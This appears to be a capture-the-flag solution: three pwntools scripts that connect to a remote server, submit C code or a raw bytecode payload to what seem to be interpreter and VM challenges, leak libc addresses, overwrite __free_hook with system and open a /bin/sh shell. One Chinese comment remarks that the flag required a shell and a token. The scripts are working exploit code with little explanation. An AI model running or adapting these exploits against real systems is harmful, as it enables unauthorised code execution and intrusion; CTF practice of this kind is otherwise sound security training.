from pwn import *
sh = remote('182.92.73.10', 24573)
sleep(1)
code = '''
int main()
{
int a;
int * b;
int * c;
int * e;
int * put_got;
int * libc_base;
int * base;
b = &a +3;
c = *b;
c = c + 18;
#这个地方各个系统栈存储基地址的位置不太一样,所以是慢慢加1测出远端的程序基地址位置的
base = *c - 0x040;
e = base + 0x40c02;#指向函数使用次数,从而任意调用函数
put_got = base + 0x40bef;
printf("%p\n", *put_got);
*e = 1;
c = c + 6;
printf("%p\n", *c);
libc_base = *put_got - 0x06f690;
printf("%p\n", libc_base);
}
'''
sh.sendline(code)
sh.interactive()
from pwn import *
sh = remote('182.92.73.10',362)
context.log_level = 'debug'
sleep(1)
code = '''
int main()
{
int a;
int * b;
int * c;
int * system;
int * free_hook;
b = &a +3;
c = *b;
c = c + 24;
system = 0x45390 + *c - 0x3ca000;
free_hook = *c + 0x3c67a8 - 0x3ca000;
*free_hook = system;
#printf("%p", *free_hook);
free("/bin/sh");
}
'''
sh.sendline(code)
sh.interactive()
拿下flag,其实本来想用open,read,write函数做的,但是不知道只有运行shell输入token才能拿flag,浪费了不少时间
from pwn import *
sh = remote('182.92.73.10',362)
mov_r1_r2_index = '\x00' * 8
payload = mov_r1_r2_index + '\xfc' + '\xff' + '\xff' * 6
payload += '\x09' + '\x00' * 7
payload += '\x0d' + '\x00' * 7
payload += '\x01' + '\x00' * 7
payload += '\x18' + '\xff' + '\xff' * 6
payload += '\x19' + '\x00' * 7
payload += '\x0d' + '\x00' * 7
payload += '\x09' + '\x00' * 7
payload += '\x0d' + '\x00' * 7
payload += '\x01' + '\x00' * 7
payload += '\x17' + '\x09' + '\x0d' + '\x00' * 5
payload += '\x19' + '\x00' * 7
payload += '\x0B' + '\x00' * 7
sh.send(payload)
sh.interactive()